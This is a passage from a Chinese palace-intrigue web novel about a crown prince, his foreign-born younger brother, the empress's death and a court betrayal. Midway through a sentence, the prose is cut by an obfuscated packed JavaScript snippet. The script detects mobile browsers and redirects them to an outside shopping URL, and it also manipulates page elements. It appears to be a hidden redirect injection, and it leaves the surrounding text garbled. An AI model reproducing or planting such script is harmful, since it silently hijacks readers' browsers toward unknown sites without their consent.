他含着浮于表面的笑意,却没有丝毫要动身的迹象,而是转过身,看向更渺远的方向,乐湛话已经带到了,他只想赶紧溜走,跑到母后怀里,好融一融在李修宜身上沾到的冰碴。 四周又恢复了一片寂静,李修宜眼神再次变得冰冷彻骨。 他的确是非常非常讨厌这个人,不论是他的狄人母亲,还是他,只要是那张异族人长相的脸,李修宜都打心底里的厌恶,光是能忍住在他面前维持一贯的风度就已经让他的耐心耗尽。 为了不去看他那张脸,李修宜连长乐宫都很少踏足。 可是所谓的君子气度不允许他做出更过分,甚至是袖手旁观的事,在乐湛和李锦玉争执的时候,他的脚总是最先落在李锦玉的屁股上,望着小孩子看过来那双感激崇拜的眼神,李修宜只是勉强微笑,转身便走,连跟他多说一句话的耐心也没有。 阙氏包藏祸心,李修宜那年即便只有十岁,但他一眼便知,但他不知道为什么父王会为了那张脸那么着迷,就连母亲也对她百般照顾悉心备至,甚至是同榻而眠,到最后北狄犯境夺走边郡十几个州,萧家战死大半,他们依旧还念着那个异族的女人。 李修宜一看到乐湛那张脸,他在想,阙氏是不是也是这样迷惑他的父王和母后,哄骗着他们心甘情愿被背叛。 他闭上眼深呼一口气,竭力地想把那些扰乱他心神的杂念驱逐出去。 手里忽然一热,李修宜低头,就看见乐湛将他的小手塞进他的手心里,李修宜顿时一愣,脑海里有些空白的想,他刚刚没下去? 乐湛几次要退缩,但是想着母后刚刚在下面的鼓励,她说哥哥会喜欢你的,他只是不太开心,哥哥他一直都很不开心。 乐湛不知道该怎么哄他开心,他还是没有办法去理解大人们的烦恼,他只能轻轻的,带着害怕和试探意味去握住李修宜的手,“哥哥,我们下去吧,上面风好大。” 乐湛只穿了件鹅黄的圆领小衫,胸口还带着白玉虎头长生环,萧皇后给他扎了两个童子髻,更显得玉雪可爱,像是年画上抱着红色鲤鱼的娃娃。 到底还是个孩子,就算是两国的血海深仇,他又能知道些什么呢? 乐湛不知道他为什么不说话,也不动,他被冻得不行,索性壮着胆子拉他的手往阁楼走,“走吧哥哥,我们去找母后!” 萧复雪看见乐湛拉着哥哥跑下来,笑着张开怀抱将他抱入怀中,“真厉害,我们小乐,真的把哥哥带下来了。” 乐湛虽然嬉笑地投入了母后怀里,但是他还是没松开拉住哥哥的手,他回头去看李修宜,不知道为什么,他能感觉到冰层隐隐松动了。 李修宜任乐湛拉着,“这也是什么值得夸奖的事吗?您未免太溺爱他了。” 萧复雪并未说话,只是含着笑看着李修宜自觉举起来的手,“我们这位好哥哥又是在干什么呢?” 李修宜很难拒绝小孩子殷切的目光,他无奈叹了口气,拉过乐湛的手,“过来,给我抱一下。” 几乎话音刚落,乐湛已经倾身双手搂了哥哥的脖子,完全不认生地从一个怀抱钻进另一个怀抱,高兴地跟李修宜分享开心的事,“母后昨天给我讲了一个故事。” 萧复雪脸色一虚,心虚又着急地打断,“好啊你,有了哥哥立马就把母后出卖了,忘了母后昨晚跟你嘱托的话了吗?” 李修宜反倒有些稀奇她的反应,“母后又给小乐讲了什么离经叛道的故事了?” 萧复雪心虚地捏捏眉心,乐湛不明所以地道,“……是狐狸尾巴的故事。” 萧复雪心虚看向另一边,“没错就是狐狸尾巴的故事!” “母后。”这个答案俨然不能让他信服。 萧复雪这么多年塑造的庄严郑重的形象眼看就要因为一个风月情话而崩塌,她瞟了一眼乐湛,李修宜立刻侧过身不让她暗示小孩。 乐湛自小就会看人眼色,立马就领会到了母后的意思,立刻大喊,“是我非要听梁公子和崔小姐私奔的故事,不关母后的……” 萧复雪赶紧上前捂住乐湛的嘴,风月话本在梁朝属于绝对的禁书,私下看看倒也没什么,人之常情,但是绝对不能对外张扬,尤其是皇后这样的身份,面对的还是李修宜这个少年老成的小古董,她尴尬地看着李修宜笑笑。 “原来母后就是这么教孩子的,教他以后拐了哪家的小姐私奔?” “这个……聊作消遣嘛,”萧复雪肃了脸色,“谁给你的胆子,教训起母后来了。” 李修宜头也不回大步朝另一个方向走了,“再跟着您就要被教废了,小乐我带回东宫了。” 萧复雪追了两步没追上,赶紧叫人把她的儿子抢回来,她现在每天的乐趣就是打扮乐湛,给他穿可爱的衣服扎可爱的发髻,要是被李修宜带走了她余下的时间还有什么意思。 乐湛被颠得脑袋一点一点的,他很高兴哥哥终于肯接纳他了,断断续续地道,“哥哥,母后好像要生气了。” “不用理。” 母后将他一头按进繁杂的策疏里,自己倒是每 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李修宜严肃的脸色还没来得及抽换回来,刚要挡下,转头看见乐湛困得迷迷糊糊的眼睛,也就听之任之,继续埋头政务,“干什么?” “原来是个影子,我以为哥哥戴了坠子,想看看你的是什么样的。” “我不带首饰。” 乐湛一想,还真是,李修宜身上没有任何点缀物,玉佩,手钏,扳指还有坠子,都没有,清清素素的就像无色无味的水。 他坐起身,“这是母后给我的,我一直戴着。” 李修宜只瞟了一眼,“白玉虎头,保佑小孩子平安的东西,跟长命锁差不多,基本大人都会给小孩戴这个坠子。” “哥哥小时候也戴过吗?” 李修宜似是没想到他会来这么一问,顿了一顿,“我吗?我没有。” 乐湛不解,不是说小孩都会戴这个吗?哥哥难道不是从孩子过来的? 李修宜目光沉静,“因为我不需要这种东西。” 他是储君,生来就有无数的明卫暗卫来保护他的安全,他绝对会安好无虞地长大成人,不需要这种没有意义的祝愿。 不知道什么时候,那只小虎头已经悬入李修宜的掌心,带着温热的触感,他还没来得及看清,立马有两只手捂了上来,生怕他丢了不要。 乐湛嬉笑地凑上来,“怎么会不需要呢?就算是大人也是需要被保佑平安的,这个我替母后给你补上啦,我回头再找母后讨一个,我们一人一个。” 李修宜无奈,故作要抽出手的样子,乐湛眼看要按不住了,直接站起来握住他的手,将玉虎头强塞给他。 “有你这么霸强的?说什么也要让人收下?” 乐湛笑意盈盈,眼眸里闪着些许的得意,“那哥哥肯收吗?” 李修宜拿他没办法,“你这样按着我要我怎么戴上呢?” 乐湛围着他绕上一圈,大献殷勤,“让我来让我来!” 李修宜身上素惯了,头一回戴上这么个小玩意就被人看出来了,调侃说,“你这不是小孩子带的?怎么瞧上这个了?” 李修宜低头瞧了一眼,“没办法,小孩太闹人了。” 12. 回忆章 事情到底是从什么时候开始发生变化的? 大概是萧复雪死的那一年。 帝后青梅竹马,两情相许,他们是太祖皇帝生前赐下的婚约,帝王佳人,宿世姻缘,伉俪情深,是为人称道的美好故事。 但是揭开这一袭华美的衣袍,立马只有被细细密密的虱子啃食殆尽的白骨,皇帝始终是皇帝,他的心不可能停留在一个女人身上。 萧复雪不能妒不能怨,必须永远端着完美的皇后的面具,看着她的丈夫的心不停地流转在不同的宠妃身上,看着那些女人的肚子里不断地怀上她丈夫的孩子,宽容大度的同时,作为后宫之主,她还要处置善妒妃子们的互相戕害,要稳重不失分寸地教训僭越挑衅的妃子。 萧复雪一直都是一个近乎完美的妻子和皇后,皇帝在与他人两情缱绻后总会握着她的手,说她才是他唯一的妻子,任何女人都无法与她相提并论分毫。 萧复雪自幼亦是被作为一个皇后培养教导,她遵循三从四德,她千依百顺,可此刻只觉得那番肺腑之言恶心,恶心到她要呕吐出来,但她不能吐出来,她要将所有的恶心全部咽下,直到她黄土枯骨那一天。 她以为她忍一忍,就能一直不漏分毫,直到阙氏的出现,皇帝整颗心都被她牵引,甚至连给她这个皇后体面也顾不上了。 她不但自己不能怨,她还要一寸寸打断李修宜的逆骨,要他和自己一样,对着皇帝百依百顺,做个绝对孝顺的儿子。 可她到底不是个圣人,她有怨也有恨,恨这几十年的情分居然如此不值一提,可所有的怨恨,看到阙氏小心翼翼寻求庇护的模样却又烟消云散。 她也是个可怜的女人,她说她在北狄有两情相许之人,但因为容貌出众被族人当作棋子献与大梁皇帝,她听不懂这里所有人说的话,她也回不去故土,想在群狼环伺的后宫里生存下去,只能找一个依靠,那个人绝不是皇帝。 萧复雪咽下那些不可告人的私心,全心全意护住她即将降生的孩子,给他取名一个“乐”字,这个宫里所有的人都不开心,她只希望这个孩子能承载着所有人未尽的遗憾,自由快乐地长大。 后来狄人犯境,阙氏顶着祸水的名号被一杯毒酒赐死,用她一个手无缚鸡之力的女人的命去祭奠边境被坑杀的将士,曾经多么轰轰烈烈的盛宠最后也沦为一地血污。 皇帝因一时耽于美色差点成了亡国之君,大怒之下将未满月的乐湛丢进冷宫自生自灭,是萧复雪头一次违背了皇帝,将乐湛抱到自己身边. 那是她第一次不恭敬也不谦卑地直视皇帝,“陛下,您不该将您在阙嗟身上弄丢的掌控欲发泄在一个孩子身上。” 阙氏的名字很拗口,在皇帝下令不允许任何人提起这个人后几乎没有人记得她的名字,唯有萧复雪还记得。 皇帝同时被两个自以为握在手心的女人忤逆,气得将手边所有的东西全砸了。 萧复雪冷淡地转身回了宫,被禁足了整整三年。 此后她一心扑在乐湛身上,摸了摸婴儿的眉眼,真是与他母亲生得一模一样,轻声叹息,“小嗟,保佑你的孩子再幸运一点吧,不要和你一样。” 她迟疑片刻,“也不要与我一样。” 但是帝后的感情稍微有些风声就会被万民议论,萧家在边郡立下赫赫战功,纵使是皇帝也不得不顾及皇后的体面,三年的禁足被改成一年,最后又变成一个月。 萧复雪背后不单是她自己,还有整个萧家,这是她要背负起的责任,她必须强撑着应付皇帝,即便已经有了隔阂,还要和从前一般装作伉俪情深的模样演给天下人看。 萧复雪不愿意再生出皇帝的孩子,李修宜是她与皇帝情意正浓的时候生出来的孩子,她不愿她的孩子不是饱含父母爱意,被祝福着诞生的。 每每侍寝后,她必须要喝下避孕药,即便是在摧残她自己的身体,她也必须这么做,油尽灯枯之际,她甚至不到三十五岁。 乐湛跪在母后床前,涕泪横流,“母后你再等一等,哥哥马上便回来了。” 萧复雪面上无有人色,她知道乐湛总是觉得血缘隔着,她总是爱李修宜多一点,可她现在只想将乐湛看得更真切些。 他们都知道李修宜回不来了。 北狄犯境侵吞边郡,大梁已经元气大伤,东夷黑水部等新起部族跃跃欲试,北狄亦是虎视眈眈,大梁的边境岌岌可危,战火弥漫了大梁每一片土地,皇帝即便再忌惮太子及其母家势力,他也不得不命他远驰东部解决东夷之患。 正是战况焦灼之时,即便是萧复雪病危,皇帝也下令密而不报,不得扰乱军心,远在东郡的李修宜此时根本没有得到消息。 萧复雪恹恹抬手替乐湛擦了眼泪,“有你陪着母后,母后很开心,没有比这更让我开心的。” 乐湛满心只想让母后最后看一眼哥哥,毕竟那才是她的亲生儿子,他不想让母后和哥哥留下下遗憾,“母后,你等等我,我会带哥哥回来见你,等等我!” 而后头也不回地跑出去,他没有看见萧复雪伸出手喊他“小乐”,也没有看见她含着泪眷恋的眼神。 乐湛不眠不休跑死了四五头马才在天亮之前赶到了军营,李修宜在最快的时间内布置好战术与部署,顾不上什么军令什么旨意,用他能做到最快的速度赶回邺城。 刚迈进长乐宫的大门,就听见一声凄厉的“娘娘!” 万籁俱寂,什么都结束了。 乐湛脱力跌坐在地,他捂住脸,泪水从指缝溢出不断地滴落在地,他没有办法接受,明明只差一点,明明差一点就能让母后最后见一眼哥哥,为什么他就不能跑的再快一点呢? 李修宜一把捞起乐湛,“起来。” 他的声音是强作镇定后的冰冷,轻微地发着颤。 整个宫里只有他们两个人真正哭的是萧复雪,而在其他人眼里,死的是皇后,又是可以被当作权势运作的讹头。 先是传出皇后之死并非寻常,四皇子之母越践夫人及其兄长杜太尉似乎参与巫蛊之毒毒杀皇后,然而杜获手握重兵镇守边陲,亦不可轻举妄动。 于是皇帝勃然大怒地下令彻查皇后的死因,最后只避重就轻地处置了几个涉事宫女,越践夫人以及杜获仍旧全身而退。 李修宜再三告诫舅舅萧铎这时候要沉住气,这仇以后有的是机会慢慢讨还,但是萧铎还是没有禁住挑拨,居然公然持剑入殿,逼迫皇帝处死蛊毒一案的祸首。 皇帝虽然被逼着赐死宠妃越践夫人,但是身为君主怎么忍受得了如此忤逆威胁,立刻在杜获的撺掇下要治萧铎谋反的罪,甚至疑心起太子的意图。 疑心起了头便一发不可收拾,朝中杜获一党以违抗圣命,私自离营为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171712|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借口对李修宜展开声势浩大的攻讦。 李修宜为了周全萧家,亲手斩杀自己的亲舅舅,甚至上交所有兵权,自请前去陵墓为母后守孝三年,急流勇退借此撇开嫌疑。 乐湛只能站在一边无力地干看着,他知道哥哥现在似乎在水深火热的泥淖里无法抽出身,但他什么忙都帮不上,他开始痛恨,为什么他从小只会一些逗鸟赏花,要是他也知道干点正事,现在是不是也不会什么忙也帮不上。 皇帝命李修宜独自一人前去为先皇后守孝,除去近卫不许一人跟随,但是乐湛什么也管不了了,他知道李修宜现在一定很不开心,他必须见他一面。 李修宜见到冒着风雪匆匆而来的乐湛,脸上并没有什么特别的表情,开口便是,“谁让你来的。” 乐湛翻身下马,上前两步,“哥……” 李修宜淡漠转身,吩咐近卫,“带九殿下回宫。” 乐湛着急的手穿过挡住他的禁卫,死死拽着李修宜的袖子,“我从城外过来的,没有人会发现的,哥这个时候了!让我陪你待一会行吗?让我做点我能做的。” “带走!” 乐湛抓得更紧了,“你明明知道宫里所有人都不喜欢我,你明知道我只有你和母后了,你让我回宫我又能依靠谁?哥哥,别赶我走,就一会!” 李修宜好似疲惫得无以复加,他摆摆手让近卫出去,整座肃静的寝宫就只剩下两人,乐湛为母后上了香,跪过之后退了一步站在李修宜旁边。 “哥哥,我是不是做错了,我不应该去军营找你,不应该扰乱你,这样他们找不到攻击你的借口了。”乐湛忐忑的看李修宜。 “没有,你没做错,为人子若不能弥留之际在床前尽孝,我恐怕会抱憾终身,你做得很好。” 乐湛心头压着的一块巨石终于松快了些,“可惜最后还是没让你见到母后最后一面。” “不要紧,有你替我守着是一样的。” 李修宜的声音有些魂不守舍的飘忽,好像现在他的身体里已经不是一个人完整的魂魄,只有残缺的碎裂,一点点散着裂纹,只等哪一刻撑不住了骤然崩塌。 “哥,”乐湛满是忧虑地看着他,“我只有你了,你别有事。” 这些年一直有传闻称乐湛的血脉不正,因为阙氏到了大梁不到足月就生下了乐湛,阙氏盛宠之下皇帝还能勉强相信她是受惊早产,但是随着北狄掠境,这个名字成为了他的耻辱,连带着耻辱的孩子他也厌恶至极。 两国势同水火的当下,乐湛要是没了皇后和李修宜的庇护,再加上皇帝的厌恶,恐怕立刻会被人欺辱至死。 要是他就此消沉下去,乐湛又该怎么办,就算不是为了他自己,不是为了萧家,他也要强打精神振作起来。 “过来,给我靠一下。” 乐湛懵然面向他,李修宜将额头抵在他的肩上,没有压下多大力气,他只是需要一个支柱,让他继续站起来的力气,“回去等着我,我不会在这里待很久,我很快就会回来。” 乐湛绷着肩让哥哥依靠,他能感受到李修宜心里的隐痛,能感受到他故作冷静下寸寸崩裂的理性,他偏头看着母后的灵位,心底暗暗下定决心,他一定会成为有用的人,他一定不会再像现在一般无能为力地看着李修宜承担一切风雨。 至少那时候,他真的是这么想的。 13. 半个回忆章 手心里坠子的余温好像穿透了皮表,一直通向血脉的根源,李修宜背立而站,无人看到的角落里,冷硬的面庞隐隐崩裂。 他是恨那个邙山上逼他喝下鸩酒的李璟没错,但他也记得那一日穿透了茫茫风雪而来的李乐湛。 “好了!下去吧。” 按着他手臂的何岑忽然松开了他,所有人躬身退下,意识到接下来的话不是他们能听的,都自觉避让。 李修宜回头,看见那张熟悉的几乎刻入骨血的脸,他当了十几年血肉至亲的弟弟。 “痛不痛?” 乐湛抱着血流不止都小臂,惊疑不定地看着他,不明白他为什么忽然缓和了态度,但他不敢不回答,生怕他一个不顺心又要将自己先剖再杀。 乐湛点点头。 他的前额有些冒冷汗,浸湿了鬓发,丝丝缕缕细小的黑蛇一样蜿蜒地贴在脸颊上,乌黑的发和雪白剔透的肤色有种触目惊心的强烈对比。 乖顺地低垂着头,漏出脆弱的脖子,有些委屈样的,像主动袒露弱点,示弱求生的小动物。 真是擅长蛊惑人心的一张脸,好像不管做了什么十恶不赦的坏事,只要顶着这张脸,一切的罪行都成了他的勋章,昭示着败者的昏聩无知,他自己反倒一点错处不沾。 直到这时候,李修宜终于理解了为什么即便知道阙氏包藏祸心他的父王母后仍不肯醒悟,原来想要恨一个人居然这么难。 “我知道了,是先帝的错,是他蛊惑的你走错了路。” 李修宜冷不防来这么一句。 “什么?” 乐湛诧异抬头。 阳光照在李修宜的脸上,明亮至极连一点阴暗的角落也没有,却又感受不到一丝温度,“邙山之乱是先帝逼着你做的,鸩酒也是你不得已让我喝下,你是被逼无奈的,是不是?” “啊?” 乐湛脸上还有淡淡的掌印,茫然地左右看看。 “是不是!”李修宜忽然疾言厉色。 “是!”乐湛被他的样子吓了一跳,不明就里地就承认了。 李修宜在逼着他承认自己是无辜的,他杀李修宜是被逼无奈,错都是先帝的错,碍不着他什么事,他还是那个纯洁无暇的九王李璟。 虽然乐湛自己听着都觉得荒谬。 “是了,”李修宜微微一笑,却是很满意他的回答。 该是这样,本就该是这样的。 是有人带坏了他。 只要把那些蛊惑乐湛,教坏乐湛的人拉出来全部祭刀,这样他善良可爱的弟弟还能回来。 “若不是先帝挑拨,你怎么会与我反目,是他的错,该叫他替你受过才是。” 乐湛从未想过如此大逆不道的话居然是从李修宜口里说出来的,就连当年被逼上邙山李修宜也没有真正想过篡位,在他眼里李修宜最大的弱点便是仁义孝悌恪守礼节,他当年也是利用这一点害了他。 他害怕地往后面挪了两步。 李修宜好像有点疯了。 但要说乐湛对父王有多深重的父子情谊那倒也不尽然,只不过年少不可得之物到底是稀罕的,要是父王能一直对他冷眼相待,乐湛便也不作他想了,可自从萧铎逼宫之后,李崇烨对太子一党产生了不小的猜忌,开始着手削弱李修宜的势力。 乐湛毫无根基,又是最被李修宜宠爱的弟弟,刚好是那个最趁手最适合第一个丢出去消耗的走卒棋子,李崇烨忽然待他宠爱有加,又在乐湛满眼都是孺慕之情的时候一脚踹开,告诉他:“你不如你的兄长,你太叫朕失望了。” 乐湛也从来没有觉得他哪里能跟李修宜相提并论,他只想做一个不拖后腿的闲王,可李崇烨又一次次给他希望,乐湛在忽冷忽热患得患失的落差里煎熬,每一次以为自己快要轻易够到悬于头顶的果子,拼命不计一切代价的往上跳,才发现那是他永远触及不到的东西,那一直是属于李修宜的。 杜太尉一党揪不出李修宜的错漏,没有办法拿他做文章,转而将目光投向乐湛,能杀鸡儆猴也是一样的。 乐湛被牵扯进了南郊行刺一案,那次遇刺李崇烨伤重险些丧命,勃然大怒之下斩杀涉事近百人,牵扯进来了无数人,整个朝堂之上一片愁云惨雾。 经过三司审查,发现乐湛竟在几年前与刺客的家人有金钱来往,便是十几岁那年给小宫人的家人送钱财那一次,很难说清他是不是受了谁的指令,恰逢这时候皇帝与太子产生嫌隙,如果这时候皇帝骤然崩殂,理应是李修宜登基称帝,不管怎么说,最大的受益人都是太子。 乐湛当场傻住,他没想到那么多年前一时心软,竟然会给现在埋下祸根,他想解释,他的目的根本不是什么培养死士,他只是可怜那个小宫人,想补偿他的家人。 可他这份善心在彼此攻讦的两党眼里就是笑话,宫人犯了死罪,处死是应当应分的,有什么好觉得可怜的,这分明就是借口,动机意图这种事本就是主观的,谁又能说得清,只要看皇帝愿意信谁。 李修宜还在边郡,乐湛几乎将全部的希望投向父王,不单是因为父王现在待他不一样了,还因为这个人是母后的丈夫,是哥哥的父王,母后和哥哥在他的心里有超然的地位,和他们有关系的人也会不自然被捎带上一份光环与期待。 可李崇烨只是和处置之前所有的涉事宫人一般,摆摆手,“带下去,审。” 乐湛几乎腿软,带下去就说明他要经受大狱里数不清的刑罚,不论生死,要让他招认这件事确实有李修宜的手笔,让皇帝和杜太尉都有借题发挥的空间,他们将乐湛牵扯其中,真正想对付的只有李修宜,至于他是不是冤枉,会不会丧命,不重要。 乐湛脸色白得不像人样,一旦被带下去,他就彻底不中用了。 李修宜虽然远在边郡,但是自行刺案爆发之初,季怀就已经快马赶到军营,告诉李修宜这个局很可能就是针对乐湛,针对他而设的,李修宜叮嘱季怀,务必告诉乐湛咬死了不知道,什么都不要说,等他回来。 李修宜行军向来稳重,最擅使用疑兵计同敌军反复迂回拉扯,拖到对方精疲力竭最后一举拿下,但是现在没有更多的时间给他,他已经在擅自离营上载过一次跟头了,这一次绝对不能在被杜党抓到讹头,情急之下采取了最激进不要命的打法,战不多时就已夺下天雍山,歼其精锐,狄人大溃,败走天雍山以北。 李修宜做样子向邺城送了捷报,打着回京复命的旗号连夜疾驰回宫。 乐湛记着季怀带到的话,无论如何也要拖住时间,他在大殿上跟杜获据理力争,甚至是动起手来了,手里的笏板照着杜获头上一顿砸,李崇烨大怒下令将乐湛押解下去。 但是没用,乐湛已经死死抱住杜太尉的大腿,有本事带着杜获两个人一起下狱去,否则他说什么也不会松手的,虽然这办法死皮赖脸些,但是有用,好歹拖到李修宜赶到。 乐湛的意图确实没有办法解释,只要李崇烨不相信,他无论如何也脱不开嫌疑,这时候李修宜要是执意保他就更涉身其中,两个人一起越陷越深,正中杜太尉下怀。 杜获正等着李修宜入套,但是没想到自己立马也被牵扯其中,先是那把行刺的剑的来源跟他沾了边,再是布防方面四王及其党羽有贿赂嫌疑,将所有人都拖下水,抬眼一看都是一片浑浊,大家都不干净,看皇帝要怎么处置,是血洗朝堂落个白茫茫大地真干净,还是放过一个乐湛,应该还是很好选的。 果然皇帝偃旗息鼓了,事态就此平息。 乐湛却还在后怕,他才发现这条命竟然这么轻,居然谁想拿走就能拿走,李修宜没有怪他又一次拖后腿,只是问,“没事吧。” 乐湛没有想从前那样大大咧咧拍着胸口感慨“太好了小命保住了!还好有你”,然后继续吹嘘刚才有多凶险可怕。 他只是咧了咧嘴角,很勉强笑道,“没事。” 就算不需要撕破脸,不需要什么必须决裂的理由,只是深陷权势的泥淖里,两颗心还是越来越远。乐湛不想再做引颈受戮的鱼肉,不想再祈求另一个人大发慈悲地来救他,也就注定了他要走上和李修宜背道而驰的道路。 他还记得杜太尉那张似笑非笑的脸,“真是情比金坚啊,那就祈祷你的皇兄永远 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乐湛连最后可以仰仗的靠山也没有了,他开始发疯了一样的向往权势,皇帝要利用他制衡李修宜,乐湛便甘心沦为他手里的暗线,本该是他和皇帝彼此心知肚明的暗中交易,未曾设想被杜太尉看出来了,他借此要挟,“你说你的皇兄要是知道你暗中跟他作对,他还会待你如从前那般吗?” “不会的。” 他说过了,要是李修宜恨他厌他,他一定会在那之前杀了他。 皇帝想要削弱太子一党的势力,杜获想杀掉李修宜扶持四王,乐湛就被两人推到人前发动邙山之乱,让他一个人背负戕害贤明的骂名,皇帝和杜太尉则在背后隔岸观火。 他们没有看错,乐湛确实是一个非常优秀的棋子,他没根基,只能仰仗皇帝的宠爱,即便给了他权力也可以随时收回。 却不料给了他一点权势他就顺着杆子拼命往上爬,咬死一个算一个,最后甚至勾结杜太尉联手对付皇帝,对外称皇帝病重直接将其囚禁寝宫。 这三年里二人分庭抗礼,你来我往互相想弄死对方,但又点到为止,白天兵刃相见,晚上就可以对酒当歌。 杜获想按死乐湛改朝称帝,乐湛想要大权独揽继位称帝,皇帝就成了乱臣贼子博弈的筹码。 每当皇帝被乐湛灌下汤药,不得不病重不起,甚至大小失禁时,他就开始怀念被他下令诛杀于邙山之上的李修宜。 李修宜是从小被按在规矩体统里雕刻出来的人,他所奉行的礼仪孝道甚至大过了他的生命,直到死在邙山之上,皇帝才真正相信,原来这个儿子真的没有异心,可这时候悔之晚矣。 直到听见正阳门外雷声震地的脚踏声,所有的守卫全部撤了,他从床上滚下来,以为是北狄人又打过来了,直到季怀上前说明情况,请皇帝为太子下旨开正阳门。 正阳门宫变之时,他打的如意算盘便是李修宜回来了,还做他恭谨孝顺的好儿子,将齐王冯太尉一党诛灭干净,而后拥护他这个父王重新临朝。 那一夜,他看着浴血归来的李修宜,身为八尺男儿头一回在儿子面前落下泪来,“修宜,回来就好回来就好,这两年应当是过得很辛苦,你的孝心父王看到了,从此我们父子一心,还如从前一般,往后朕对你不再猜疑,你永远是父王最器重的儿子。” 他一遍遍说着心疼,诉说着他的慈父之心,却一个字也没有为当年邙山上的剿杀说一个愧字,甚至一个对不住也没有,毕竟身体发肤受之父母,他的这条命都是自己这个当父亲给的,就算是当爹的做错了事,又哪有老子给儿子道歉的道理。 更何况他是皇帝,对也是对,错也是对,雷霆雨露俱是天恩,他肯放下做皇帝的架子,疼惜儿子一番已是难得。 李修宜微微笑着,面目果真还如从前那般温和,“是啊,朕回来了。” 李崇烨原本欣慰的脸色瞬间僵住了。 他忽然觉得李修宜的笑眼藏着一些极其险恶的东西,从前那些被他和萧复雪压制了十几年的阴暗面,现在失去了控制,成百上千地返还回来了。 14. 翻篇 那日之后,乐湛住进从前所居住的岁康宫,居然连守卫都没有,也就是说他从此可以自由进出,虽然那一顿杖刑还是给他打得丢了半条命,又半昏半醒地养了半个多月。 他至今没有想明白李修宜为什么把他打个半死,忽然灵光一现又打算放过他,还说着什么“不是你的错”这种匪夷所思的话。 但至少目前看来,事情是已经翻篇的样子,好像他们从前那些残杀怨怼都是不存在的,可意外之喜来得越是突然,乐湛的心里就越发不安,好像山雨欲来,还有什么未知的事在前面等着他。 现在想想,他还是十分在意李修宜那天说过的话,什么叫先帝替他受过,难不成先帝没有死在正阳门宫变那日? 那日皇帝揣着自己的打算,他给季怀的诏书说的是为“太子”开正门。 李修宜想要正统的身份就必须承认他还是太子,自己才是万人之上的皇帝。 可正阳门宫变后,皇帝就受惊心悸而亡。 可万一他没死呢? 乐湛越想越觉得脊背发凉,隐隐往上窜起一股寒意。 不说兔死狐悲,他只是觉得他与皇帝是一样的处境,一样背叛过李修宜,一样落到了李修宜手里,还一样被李修宜饶恕一死,他们的下场,应当八九不离十。 两个宫人从窗前经过,七嘴八舌地正在讨论南国进献的珍稀鸟兽,他们走到冥想的乐湛身边,“王爷,这是陛下赏您的。” 乐湛被吓了一跳,仰头从椅子上栽下去,手要去抓桌子结果把自己磕着了,这番反应搞得宫人们不知所措了,他们着急忙慌去拉乐湛起来,“王爷这是怎么了?” 果然是做贼心虚啊。 乐湛意识到自己反应过度了,颇不好意思叫他们俩下去,揉着屁股站起来,才发现李修宜让送过来的是一只玄羽鸢,这鸟雀白腹黑背,金棕色的眼仁,眼尾一片黑羽飞扬,还有纯黑透亮的尖喙,脑袋左右一抖一抖地盯着他看,漂亮不是一等一的漂亮,却足够稀奇。 乐湛小时候最喜欢玩鸟了,很多年没有碰过,现在也找不回当年的少年心气,他还是很熟悉地朝着小鸟丢了一粒肉,看着它一口吞下,却好似卡住似的,仰着脖子对着上天张开喙,一伸一缩地唱小曲儿似地。 乐湛会心一笑。 反正现在已经这样了,再怎么担心也无济于事,过一天算一天吧。 小鸟终于吐出卡在脖子里的东西,黑乎乎的离远了看不请,乐湛拿谷穗戳了戳,那扁圆带有一点弧度的东西翻过来,乐湛敲了半天没看出来是什么,正在他以为是误食了什么脏东西,没再当回事时,忽然心脏猛烈一跳,他皱眉看去。 那是……指甲壳? * 春日宴恰逢皇帝生辰。 列座王公大臣皆身着朝服,举杯齐贺皇帝福寿绵长,圣体康泰。 殿中沉香盈盈,侧殿有乐师拨弦弄乐,乐伎随着丝竹声歌舞助兴,罗裙曳地,身形流转间带来醉人的香气,朝臣推杯换盏间,君臣尽欢。 李修宜今日似乎心情很好,携百官来到后花园赏春,园内有秀丽的亭台楼阁,回廊曲折,临水而设,水池边点缀着假山翠竹,华贵纤丽的花草修剪得规整漂亮,处处都是旖旎风景。 更有趣的是园林隔了一段距离放置了精巧的金丝笼。 檀木为基底,构成从下到上逐渐收窄的四层楼阁的轮廓,细致的花枝形檐角衔着十八颗花瓣型的金铃,底座房檐和顶隔皆用金丝缠成飞卷云纹镶嵌,有两人那么高。 里头都是南国进献的飞禽走兽,百官一路走来,大开眼界,纷纷感激陛下赏恩。 宋邈站在人群的后方,目光穿过人群,直直的落在首位的李修宜身上。 那人长身玉立,一袭玄色浮纹锦袍,眉目疏朗,气质若兰,如雨中修竹一般,前簇后拥站在人群里难掩身上那股清雅贵气,但他待人依然很是温雅随和,凡有上前殷勤攀谈的都微笑应答。 宋邈低下头,他知道皇帝待他是特别的,但他又很不喜欢看到李修宜待谁都是这番谦和亲近的模样,他想要这份特殊更唯一一些。 大梁并不崇尚男风,并以歪风邪气居之,即便是皇帝,想要跟一个男人在一起也要顾虑民间的流言蜚语。 宋邈知道自己比起邺城中的那些人特别在哪里,他的性情是自由随性的,他什么话都敢说,不会拘束于所谓规矩体统,若是他真的老实学乖了,在李修宜眼里不就泯然众人了吗? 一边的宋弘毅则心思都在珍稀鸟兽身上,连声喟叹而后拉了宋邈来看,宋邈四下看看旁人的眼光,低声告诫,“别做这副没见过世面的样子,别人见了又要笑话你。” 宋弘毅给儿子灌输何为人情世故,“陛下设了这园子来给你看,你只管盛赞外加谢恩就行了,陛下听了心里高兴,管别人那么多做什么呢?” 宋邈别过脸,“我才不用做出这副不值钱的样子给谁看呢。” “小子以为你爹是在害你,总有你吃亏的那天!非得让你栽一跟头你才明白。” “就只有你最盼着我栽跟头吧!” 父子俩呛嘴的这会儿,李修宜就已经看过来了,声线清亮温和,“当日不过才训了你两句,怎的到现在还挂着脸?这春日宴也看得没趣味了么?” 二人赶紧向皇帝拱手见礼,宋弘毅在衣袍底下悄声踢了踢儿子,暗示他说两句好听的话,皇帝问了就一个劲的说好好好就是了。 